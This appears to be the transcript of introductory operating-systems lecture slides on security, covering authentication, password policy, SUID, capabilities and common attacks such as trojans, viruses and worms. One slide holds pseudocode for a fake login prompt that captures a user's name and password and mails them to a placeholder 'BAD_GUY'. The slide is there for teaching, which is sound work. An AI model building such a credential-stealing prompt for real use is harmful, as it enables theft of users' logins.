Security CS 537 - Introduction to Operating Systems.

Slides:



Advertisements
Similar presentations
Operating System Security
Advertisements

30/04/2015Tim S Roberts COIT13152 Operating Systems T1, 2008 Tim S Roberts.
1 Computer Security Instructor: Dr. Bo Sun. 2 Course Objectives Understand basic issues, concepts, principles, and mechanisms in computer network security.
1 Topic 1 – Lesson 3 Network Attacks Summary. 2 Questions ► Compare passive attacks and active attacks ► How do packet sniffers work? How to mitigate?
Telnet and FTP. Telnet Lets you use the resources of some other computer on the Internet to access files, run programs, etc. Creates interactive connection.
Computer Viruses.
Silberschatz, Galvin and Gagne  Operating System Concepts The Security Problem A system is secure iff its resources are used and accessed as.
1 Protection Protection = access control Goals of protection Protecting general objects Example: file protection in Linux.
Informationsteknologi Thursday, October 11, 2007Computer Systems/Operating Systems - Class 161 Today’s class Security.
James Tam Computer Security Concepts covered Malicious computer programs Malicious computer use Security measures.
Lecture 2 Page 1 CS 236, Spring 2008 Security Principles and Policies CS 236 On-Line MS Program Networks and Systems Security Peter Reiher Spring, 2008.
19.1 Silberschatz, Galvin and Gagne ©2003 Operating System Concepts with Java Chapter 19: Security The Security Problem Authentication Program Threats.
Security: Attacks. 2 Trojan Horse Malicious program disguised as an innocent one –Could modify/delete user’s file, send important info to cracker, etc.
Security A system is secure if its resources are used and accessed as intended under all circumstances. It is not generally possible to achieve total security.
1 Protection and Security Protection = mechanisms used to control access to valued resources: e.g., programs & data stored on computer system. Usually.
Privacy & Security By Martin Perez. Introduction  Information system - People : meaning use, the people who use computers. - Procedures : Guidelines.
Silberschatz, Galvin and Gagne  Operating System Concepts Module 19: Security The Security Problem Authentication Program Threats System Threats.
Privacy - not readable Permanent - not alterable (can't edit, delete) Reliable - (changes detectable) But the data must be accessible to persons authorized.
Lesson 9-Securing a Network. Overview Identifying threats to the network security. Planning a secure network.
Computer and Ethics. Ethical Problems Proliferation of computers and their networks have created new ethical problems The ACM has issued a Code of Ethics.
Protection and Security CSCI 444/544 Operating Systems Fall 2008.
Lesson 10 – SECURING YOUR NETWORK Security devices Internal security External security Viruses and other malicious software OVERVIEW.
Computer security virus, hacking and backups. Computer viruses are small software programs that are designed to spread from one computer to another.
Lecture 7 Page 1 CS 236 Online Password Management Limit login attempts Encrypt your passwords Protecting the password file Forgotten passwords Generating.
Chapter 15: Security (Part 1). The Security Problem Security must consider external environment of the system, and protect the system resources Intruders.
Computer Security An overview of terms and key concepts.
ISNE101 Dr. Ken Cosh Week 14. This Week  Challenges (still) facing Modern IS  Reliability  Security.
Operating Systems Protection & Security.
Lecture 18 Page 1 CS 111 Online Design Principles for Secure Systems Economy Complete mediation Open design Separation of privileges Least privilege Least.
Malicious Code Brian E. Brzezicki. Malicious Code (from Chapter 13 and 11)
Silberschatz and Galvin  Operating System Concepts Module 20: Security The Security Problem Authentication Program Threats System Threats Threat.
Malware  Viruses  Virus  Worms  Trojan Horses  Spyware –Keystroke Loggers  Adware.
14.1 Silberschatz, Galvin and Gagne ©2009 Operating System Concepts with Java – 8 th Edition Chapter 14: Protection.
Staying Safe Online Keep your Information Secure.
I.T Security Advice for Dummies By Kirsty Pollard Kirsty Pollard Campsmount Academy.
Protection & Security Introduction to Operating Systems: Module 16.
CMSC 414 Computer (and Network) Security Lecture 14 Jonathan Katz.
Operating Systems 1 K. Salah Module 6.0: Security and Protection  Types of misuse: –1. Accidental –2. Intentional –Protection is to prevent either accidental.
Introduction to ITE Chapter 9 Computer Security. Why Study Security?  This is a huge area for computer technicians.  Security isn’t just anti-virus.
Cyber Security Anchorage School District – 7 th grade Internet Safety.
INTRODUCTION. The security system is used as in various fields, particularly the internet, communications data storage, identification and authentication.
Viruses, Computer Security & Ethical Issues Digital Communication Systems Ms. Powers.
29.1 Lecture 29 Security I Based on the Silberschatz & Galvin’s slides And Stallings’ slides.
Session 7 LBSC 690 Information Technology Security.
Attacks On systems And Networks To understand how we can protect our system and network we need to know about what kind of attacks a hacker/cracker would.
Computer Crime crime accomplished through knowledge or use of computer technology. Computers are tools – we choose how to use / apply the technology.
What is risk online operation:  massive movement of operation to the internet has attracted hackers who try to interrupt such operation daily.  To unauthorized.
Topic 5: Basic Security.
Computer security virus, hacking and backups. Computer viruses are small software programs that are designed to spread from one computer to another.
Information Security in Distributed Systems Distributed Systems1.
1 Day 2 Logging in, Passwords, Man, talk, write. 2 Logging in Unix is a multi user system –Many people can be using it at the same time. –Connections.
CHAPTER 2 Laws of Security. Introduction Laws of security enable user make the judgment about the security of a system. Some of the “laws” are not really.
Invitation to Computer Science 5 th Edition Chapter 8 Information Security.
INTRODUCTION TO COMPUTER & NETWORK SECURITY INSTRUCTOR: DANIA ALOMAR.
ICT and the Law Mr Conti. Did you see anything wrong with that? Most people wouldn’t want that sort of information posted in a public place. Why? Because.
1 Computer Security Instructor: Dr. Bo Sun. 2 Course Objectives Understand basic issues, concepts, principles, and mechanisms in computer network security.
Lecture 3 Page 1 CS 236 Online Security Mechanisms CS 236 On-Line MS Program Networks and Systems Security Peter Reiher.
Information Systems CS-507 Lecture 32. Physical Intrusion The intruder could physically enter an organization to steal information system assets or carry.
Important of Firewall Security in LAN Presented by: Guo Chean Ooi.
The Security Problem Security must consider external environment of the system, and protect it from: unauthorized access. malicious modification or destruction.
– Communication Technology in a Changing World
12: Security The Security Problem Authentication Program Threats
ISNE101 Dr. Ken Cosh Week 13.
Security.
Operating System Concepts
Operating System Concepts
Crisis and Aftermath Morris worm.
Security Principles and Policies CS 236 On-Line MS Program Networks and Systems Security Peter Reiher.
Chapter 14: Protection.
CS703 - Advanced Operating Systems
Presentation transcript:

Security CS Introduction to Operating Systems

Issues Modern systems allow multiple users access to a computer Distributed file systems allow users to try and access each others files Internet allows communication across public lines (or even wireless) –these lines can be “tapped”

Protection Physical protection –the most secure system is one inside a vault with guards outside and no connection to the outside world Software protection –using authentication, access lists, encryption, etc. to protect a system Without physical protection, software does no good We will concern ourselves with software

Mechanism & Policy Mechanism –basic primitives –how something is done Policy –how primitives are used to implement functionality –what will be done For a given mechanism, the policy at different locations may differ

Mechanism & Policy An example –mechanism: capabilities list tells which users can access which resources –policy at one location: all users on system have read access to a file –policy at a different location: no one but creator of file has any access to a file

Design Principles Public Design –don’t make security algorithms secret –bad guys are going to figure it out eventually –no one but bad guys will know how to stop it Default - No Access –people will complain if they don’t have enough access - not the other way around Minimum Privilege –give user just enough access to accomplish a task - no more

Design Principles Simple, Uniform Mechanism –complexity leads to bugs –policy can be difficult to implement –make things as simple as possible Appropriate Measures –what’s the cost to a hacker? –what’s the cost if system is hacked? –if rewards don’t match effort, system will be left alone

Authentication Almost all systems rely on identifying a user to enforce protection –can’t enforce a policy without knowing who wants access –access can be to files, to computers, to programs, etc. Most systems use login names and passwords to identify users There are other methods –what?

Root Access Most systems have a system administrator that can do whatever they want –Unix calls this the root user There are also programs that run with root access –password programs, mail programs, etc. If a hacker can get root access, they can get almost any information they want

Logins & Passwords Login names indicate who wants access Passwords confirm user is who they claim to be This is the most common method of user authentication Keeping a password secret is critical Selecting good passwords is critical

Brute Force Attack a.k.a. dictionary attack –just try to guess everything Put delay between attempts –2 second delay after a wrong guess means more computing power won’t help Don’t allow common words for passwords –this means common names as well Try to run common cracker on a password before accepting it

Passwords Could have the system assign a random password to a user –may be hard for the user to remember Make the user change passwords frequently –user may switch between 2 passwords not much more secure –user may write down password to remember it Best thing to do is require the user to select a good password and leave it alone

Trojan Horse Write a program that looks like “good guy” –make it look like a login prompt User enters their login name and password Get a message saying incorrect password –user thinks they typed it wrong login name and password to bad guy Exit the program and return to the real login prompt

Trojan Horse print(“login: “); name = readLine(); turnOffEchoing(); print(“Password: “); password = readLine(); sendMail(BAD_GUY, name, password); print(“Login Incorrect”); exit();

Trojan Horse Many other forms of Trojan horse program –create a new copy of ls that does something malicious but still performs ls function requires previous access to the file system if the user running ls is root, can really do some damage –pretend to be a different computer and give false information out to user logging in

Challenge Response User challenges the system System gives back a response verifying it is the user User then tries to login –knows it is dealing with the real thing This works well for accessing remote computers –requires some type of encryption –more on this later

SUID Very powerful software primitive Allows user to change identity temporarily –identity changes to that of the owner of the program being executed Most common identity to change to is root –this means these programs must be very carefully written –otherwise a user can do terrible things Still keep track of who the user really is Each file has another access bit called setuid

SUID Assume an ls command produces the following accessownername _ rwx rwx rwxmattmccmyProg s rwx ___ ___rootmailProg Now assume mattmcc runs myProg which has the following code in it n = fork(); if(n == 0) { exec(“mailProg”, …); } Also assume that all of the mail files are in a protected directory Now mailProg can access all of the mail files and get the mail for mattmcc

Capabilities A slightly different approach than access lists –recall access lists give rights of each user for each resource Everything, including files, is considered an object Each user has a set of capabilities they can perform on an object These capabilities can be transferred between users

Capabilities A object X read, execute Capabilities for process A on object X If object X is an executable program, it may have capabilities of it’s own -- in this way, A can have access to resources it might not otherwise be able to

Capabilities To make this work, only the operating system can modify and create capabilities –otherwise users could give them selves excessive rights

General Attacks Interruption –stops a user from getting work done Interception –grab data in transfer and read it Modification –change data in transit to give false info Fabrication –pretend to be someone else

Specific Attacks trap door –secret entrance into a system –doing this in the compiler can prevent the source code from showing what’s going on Ken Thompson’s famous trap door compiler –war games logic bomb –a malicious program set to go off at a certain time –ping a popular server at a specific time trojan horse –disguise a bad program as a good one denial of service –send lots of messages to a particular server until it is overloaded and can no longer respond to legitamate requests

Specific Attacks viruses –additional code added to existing programs –causes these common programs to do something malicious –often they are capable of “spreading” themselves to other programs and other computers –Michelangelo virus worms –stand-alone programs that repeatedly spawns itself –uses tremendous system resources slows machines down –they can spread very quickly –Robert Morris example